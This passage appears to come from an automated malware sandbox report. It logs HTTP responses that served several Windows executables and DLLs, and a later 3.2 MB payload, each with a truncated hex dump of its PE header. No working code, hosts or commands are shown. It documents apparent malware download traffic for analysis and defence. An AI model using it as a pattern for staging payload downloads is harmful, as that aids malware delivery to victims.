00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 08 Dec 2024 14:38:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 08 Dec 2024 14:38:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 08 Dec 2024 14:38:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 08 Dec 2024 14:38:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 08 Dec 2024 14:38:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 08 Dec 2024 14:38:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 08 Dec 2024 14:38:52 GMTContent-Type: application/octet-streamContent-Length: 3256832Last-Modified: Sun, 08 Dec 2024 14:30:00 GMTConnection: keep-aliveETag: "6755ad68-31b200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 c0 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 31 00 00 04 00 00 01 97 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 a5 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a4 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 